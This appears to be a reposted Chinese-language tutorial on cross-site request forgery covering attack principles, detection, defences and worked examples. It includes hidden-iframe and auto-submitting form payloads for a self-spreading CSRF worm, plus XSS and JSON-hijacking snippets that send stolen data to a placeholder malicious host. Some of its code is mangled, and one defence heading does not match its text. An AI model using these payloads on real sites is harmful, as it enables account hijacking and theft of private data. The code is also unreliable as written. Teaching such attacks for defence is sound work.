CSRF — “沉睡的巨人”
Posted 蘑菇安全小组
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CSRF — “沉睡的巨人”相关的知识,希望对你有一定的参考价值。
CSRF是web应用程序的一种常见漏洞,其攻击特性是危害性大且非常隐蔽,尤其是在大量web2.0技术的应用背景下,攻击者完全可以在用户毫无察觉的情况下发起CSRF攻击。本文将对其基本特性,攻击原理,攻击分类,检测方法及防范手段做一个系统的阐述。
1. CSRF漏洞简介
CSRF(Cross-Site RequestForgery,跨站伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来讲,可以这样理解CSRF攻击,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者期望的一个操作,比如以你的名义发送邮件,发消息,盗取你的账号,添加系统管理员,甚至于购买商品,虚拟币转账等。
CSRF攻击方式并不为大家所熟知,实际上很多网站都存在CSRF的安全漏洞,早在2000年,CSRF这种攻击方式已经由国外的安全人员提出,但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞。如:百度、youtube等,但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全界称CSRF为“沉睡的巨人”。
2. CSRF攻击原理及实例
当我们打开网站或者登陆某个网站后,就会产生一个会话(这里指用户登陆后),这个会话可能是session,cookie控制,但是这是无关紧要的。唯一的重点是浏览器与服务器之间是在会话之中,在这个会话没有结束时候,你可以利用你的权限对网站进行操作,如进行发表文章、发邮件,删除文章等操作,当这个会话结束后,你在进行某些操作时候web应用程序通常会来提醒你,你的会话已经过期,或者是请重新登录等提示。
这非常好理解,就像我们登录网上银行后,web浏览器已经跟可信的站点建立了一个经认证的会话。之后,只要是通过该web浏览器这个认证的会话发送的请求,都被视为可信的动作,例如转账,汇款等操作,当我们在一段时间内不进行操作后,再来重新转账或汇款操作,那么这个站点可能会提醒你,您的身份已经过期,请重新登录或者会话结束等消息。
而CSRF攻击则是建立在会话之上的攻击,比如当你登录了网上银行,正在进行转账业务,这时你的某个qq好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业务代码,而且与你所登录的网站是同一个银行,你可能认为这个网站是安全的,并不是什么钓鱼网站之类的,然后打开了这条URL,那么你的账户的钱可能就在你的这一次小小的点击上全部丢失。
怎么可能这么神奇呢?其实这并不神奇,主要是因为你的浏览器正处于与此网站的会话之中,那么一些操作都是合法的,而入侵者构造的这段代码只不过是正常的转账操作代码而已,比如说你想给用户spps转账1000元,那么点击提交按钮后,可能会发生以下请求:
Http://www.taobao.com/pay.jsp?user=spps&money=1000
而攻击者仅仅是改变一下user参数与money参数即可完成一次“合法”的攻击,如:
http://www.taobao.com/pay.jsp?user=hack&money=10000
当你访问了这条URL之后,就会自动向hack这个账户里面转入10000元,而这是你亲手造成的,并没有因为有人去破解你的密码或者是web服务器被入侵所导致你的金钱丢失。
通过以上的攻击原理描述个人总结CSRF2个侧重点
(1) CSRF的攻击建立在浏览器与web服务器的会话之中。
(2) 欺骗用户访问URL
3. CSRF攻击分类
CSRF漏洞一般分为站外和站内两种类型。
CSRF站外类型的漏洞本质上就是传统意义上的外部提交数据问题。通常程序员会考虑给一些留言或者评论的表单加上水印防止SPAM问题(这里,SPAM可以简单的理解为垃圾留言,垃圾评论,或者是带有站外链接的恶意回复),但是有时为了提高用户的体验性,可能没有对一些操作做任何限制,所以攻击者可以事先预测并设置请求参数,在站外的web页面里编写脚本伪造文件请求,或者和自动提交的表单一起使用来实现get、post请求,当用户在会话状态下点击链接访问站外web页面,客户端就被迫发起请求。
CSRF站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的,在一些敏感的操作中(如修改密码,添加用户等),本来要求用户从表单提交发起post请求传递的参数给程序,但是由于使用了$_REQUEST等变量,程序除支持接收post请求传递的参数外也支持接收get请求传递的参数,这样就会为攻击者使用CSRF攻击创造条件,一般攻击者只要把预测的请求参数放在站内一个帖子或者留言的图片链接里,受害者浏览了这样的页面就会被强迫发起这些请求。
4. CSRF漏洞检测
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如:CSRFTester,CSRF request builder等,以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下,使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有连接以及所有表单信息,然后通过再CSRFTester中修改相应的表单信息,重新提交,这相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接收,则说明存在CSRF漏洞,当然此工具也可以来进行CSRF攻击。
5. CSRF实例
5.1 CSRF攻击场景(GET)
http://www.xxx.com是全球最大的一个微博平台,几乎所有的网民都会拥有此平台的账户。一次偶然的情况。黑客Tom对微博的收听功能做了抓包(收听xxx),截取结果如下:
GET /listen?uid=218805&listened=100HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1;rv:60.0) Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8, en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com
Cookie: 02b4a_lastpos=other;02b4a_ol_offset=47530;
Tom开始分析此段HTTP请求,发现在收听某个人时,主要依靠两个参数,第一个是uid,第二个是listenid。Tom靠直觉认为uid是自己的ID,listenid是收听的ID。但是Tom的经验告诉自己直觉往往可能是假的,因为Tom不能保证开发这段程序的人与自己的思维一样,为了弄准确,Tom又注册到了一个新的用户:test1.使用test1账号登录,收听Tom用户,截取HTTP请求如下:
GET /listen?uid=228820&listened=218805HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1;rv:60.0) Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com
Cookie: 02b4a_lastpos=other;02b4a_ol_offset=75372;
用户test1成功地收听了Tom用户,通过比较可以证实uid为自己的ID,listenid为收听人的ID。
Tom退出test1账号,使用Tom账号登录,尝试收听test1账号,但却没有使用界面化的web应用程序,而是直接构造URL:
http://www.xxx.com/listen?id=218805&listenid=228820.
Tom访问这个URL之后,刷新收听列表,发现已经收听了test1账号。
Tom心想:如果让别人访问这个URL,那么访问者肯定会收听自己,成为自己的听众。不过发现一个问题:URL中有两个参数,一是自己的ID,另一个是收听的ID。自己只知道自己的ID,无法得知别人的ID,这样就无法构造URL。Tom想,既然不知道,干脆就不写了,抱着试试看的态度去尝试构造URL如下:
http://www.xxx.com/listen?listenid=228820 //listenid为用户Tom的ID
Tom又注册了一个号码,登录后访问这个URL,然后刷新收听列表,没想到居然真的收听成功了。
于是Tom准备在微博平台制造一次蠕虫攻击。
想要使URL生效,就必须去诱导用户点击这个URL链接,于是Tom在微博平台发表了有诱惑性的微博:官网微博活动,答题即可获得10元话费。
但这明显是一个骗局,这样的蠕虫效率太低,传播速度太慢,根本不能够实现自动化攻击。
Tom心想,如果让每个用户都帮助自己发站内信,或者是转发微博,这样的效率就会高很多。于是Tom又针对微博转发做了分析,拦截数据包如下:
GET /publish?id=123456 HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1;rv:60.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Referer:http://www.xxx.com
经过测试发现转播文章的ID为123456,这就意味着用户只要访问http://www.xxx.com/publish?id=123456,就可以自动转发这条微博了。这样新的问题又来了:如何让用户单机一个URL就同时访问这两个URL?于是Tom做了一个单独的HTML页面open.html,代码如下:
<html>
<head>
<title>
逗你的,哈哈。。
</title>
</head>
<body>
上当了吧,这只是个玩笑 <a href=http://www.xxx.com >单机我返回微博</a>
<iframesrc=” http://www.xxx.com/listen?listenid=228820” frameborder=”0” width=”0px”/>
<iframesrc=” http://www.xxx.com/publish.php?id=123456” frameborder=”0” width=”0px”/>
</body>
</html>
这段代码中使用了两个<iframe>标签来加载URL,当用户打开open.html,就会自动加载这两个“正常”的URL,这样Tom就达到了自动化攻击的目的。当A用户单机open.html后,就会自动收听Tom用户,并且把这篇文章转发到自己的微博中。在A用户微博列表中的B用户(还有更多的用户)看到A用户转发的这篇文章,B用户可能会单机,这样就陷入了循环,从而造成CSRF蠕虫攻击,就像XSS蠕虫那样,以金字塔的形式去传播,速度非常快(实际中,XSS与CSRF通常是一起出现的,以上段落只是让大家对CSRF有一个宏观的了解)。
从以上的例子可知,CSRF攻击是黑客借助受害者的Cookie骗取服务器的信任,但是黑客并不能获取到Cookie,也看不到Cookie的内容。另外,由于浏览器同源策略的限制,黑客无法从返回的结果中得到任何东西,CSRF所能做的就是给服务器发送请求。
5.2 CSRF攻击场景(POST)
从上节中,使用的都是GET构造URL提交数据,有些读者可能会有疑问:如果使用POST方式提交数据,还存在CSRF攻击吗?例如,java中的Servlet:
Public void doGet (HttpServletRequestrequest, HttpServletResponse response)
throwsServletException, IOException {
//只接受GET请求
}
Public void doPost (HttpServletRequestrequest, HttpServletResponse response)
throwsServletException, IOException {
//只接受GET请求
}
任何Web脚本语言都可以自由选择以何种请求来接收数据。比如,PHP接收方式为:$_GET、$_POST、$_REQUEST。当提交URL为http://www.xxx.com/publish?id=123456时,属于GET请求。
那样也许有人会问:如果我们不使用GET请求来处理数据,而使用POST方式,就不能构造publish?id=123456这样的连接方式,也就不会造成CSRF漏洞了?这句话前半句是对的。而后半句则是完全错误的。使用POST方式接收数据一样阻挡不了CSRF,只不过是增加了构造URL的难度而已。例如,收听用户的URL链接为:http://www.xxx.com/listen?listenid=228820,如果程序程序开发人员把接收方式改为POST接收,URL就不再起作用了,因为你必须提交以下请求服务器端才能接收,HTTP请求为:
POST /publish HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1;rv:60.0) AppleWebKit/537.17 (KHTML, like Gecko)
Content-Type:application/x-www-form-urlencoded
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xxx.com
Listened=228820
如何使用POST方式提交呢?其实很简单,请看post.html,代码如下:
<html>
<head>
<title>
逗你的,哈哈。。
</title>
</head>
<body>
<form id=”myform” method=”post” action=http://www.xxx.com/publish>
<inputtype=”hidden” name=”listened” value=”228820”>
</form>
<script>
Varmyform = document.getElementById(“myform”);
Myform.submit();
</script>
</body>
</html>
在post.html中,构造一个form表单,然后利用javascript自动提交表单。这样,只有打开post.html,就会自动提交POST数据。
把post.html里的action值修改为http://127.0.0.1:9527/Jsp/PostData进行测试,PostData代码如下:
Public class PostData extends HttpServlet{
Publicvoid doGet (Http HttpServletRequest request,HttpServletResponse response)
Throws ServletException,IOException{
//不接受get请求
}
Public void doPost(Http HttpServletRequest request,HttpServletResponse response)
Throws ServletException,IOException{
PrintWriterout = response.getWriter();
Intid = Integer.parseInt(request.getParameter(“listenid”));
Out.print(“ReceivePost data ”+ id);
}
}
在PostData Servlet中,只接收POST请求,不接收GET请求,用浏览器访问post.html,执行结果会出现 Receive Post data 228820 字样。同时,URL已经跳转为127.0.0.1/Jsp/PostData。
如果在某些情况下需要做的是“静悄悄”地提交数据,不希望页面跳转,那么就可以使用JAX来解决这个问题。当然,也可以通过以指定form表单的target解决这个问题,代码如下:
<iframe frameborder=”0” name=”myiframe”width=”0px” height=”0px”></iframe>
<form id=”myform” method=”post” target =“myiframe”
action=” 127.0.0.1/Jsp/PostData” >
<inputtype=”hidden” name=”listened” value=”228820”>
</form>
<script>
Varmyform = document.getElementById(“myform”);
Myform.submit();
</script>
在上面的代码中,请求的URL在<iframe>标签中打开,而<iframe>却被我们隐藏了。所以原页面不会有任何变化。
6. CSRF蠕虫模型
注:同域内CSRF攻击获取数据几乎没有限制。
跨域CSRF攻击获取数据的几种方法总结如下:
1 xss
2 服务端代理技术
3 JSON Hijacing
4 Flash AsctionScript(crossdomain.xml)
要获取的关键数据是唯一标识:
1 xss获取数据
使用目标站点上的xss漏洞
<iframe width=0 height=0 src=’http://目标站点/search.php?k=”><script src=http://恶意站点/get.js></script”’></iframe>
http://恶意站点/get.js的代码是:
//use DOM method to get your data
New Image().src=’http://恶意站点/do.php?data= ’+yourdata;
恶意站点的do.php文件接收唯一标识数据,该唯一标识可以是url中的或是目标站点url对应的内容中的。
2 使用JSON Hijacing
使用JSON Hijacing技术:目标站点使用了JSON数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
相关代码:
<script>
Function hijack(o){
//use DOM method to get your data
NewImage().src=”http://192.168.1.2/JSONHiJack.asp?hi=”+escape(data);
}</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>
3 使用flash
使用Flash AsctionScript脚本
目标站点下必须存在crossdomain.xml文件,crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求。
<?xml version=”1.0”?>
<cross-domain-policy>
<allow-access-from domain=”*”/>
</cross-domain-policy>
相关代码
Import flash.net.*;
Var_l = new URLLoader(new URLRequest(“http://目标站点/”));
l.addEventListener(Event.COMPLETE,function(){text1.text=l.data});
l.load();
7. CSRF防御
CSRF漏洞防御主要从三个方面进行,即服务端的防御,客户端的防御和安全设备的防御。
7.1 服务端的防御
7.1.1 验证HTTP referrer字段
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过安全验证,由此可知,防御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息,并且该信息不存在于cookie之中,鉴于此,系统开发者可以在http请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。
7.1.3 在http头中自定义属性并验证
7.1.4 在服务端区严格区分好post和get的数据请求
如在asp个不用使用request来直接获取数据,同时建议不用用get请求来执行持久性操作。
如:http://www.aaaa.com/space/deleteEvent/23241
7.1.5 使用验证码或者密码确认方式进行
这种方法很有效,但是用户体验差了点。
7.2 用户端的防御
对于普通用户来说,都学习并具备网络安全知识以防御网络攻击是不现实的。但若用户养成良好的习惯,则能够很大程度上的减少CSRF的危害。
7.3 安全设备的防御
由于从楼顶的发现到补丁的发布需要一定的时间,而且相当比例的厂商对漏洞的反应不积极,再加之部分系统管理员对系统补丁的不够重视,这些都给了攻击者的可乘之机。鉴于上述各种情况,用户可以借助第三方的专业安全设备加强对CSRF漏洞的防御。
CSRF攻击的本质是攻击者伪造了合法的身份,对系统进行访问。如果能够识别出访问者的伪造身份,也就能识别CSRF攻击。研究发现,有些厂商的安全产品能基于硬件层面对HTTP头部的Referer字段内容进行检查来快速准确的识别CSRF攻击。
以上是关于CSRF — “沉睡的巨人”的主要内容,如果未能解决你的问题,请参考以下文章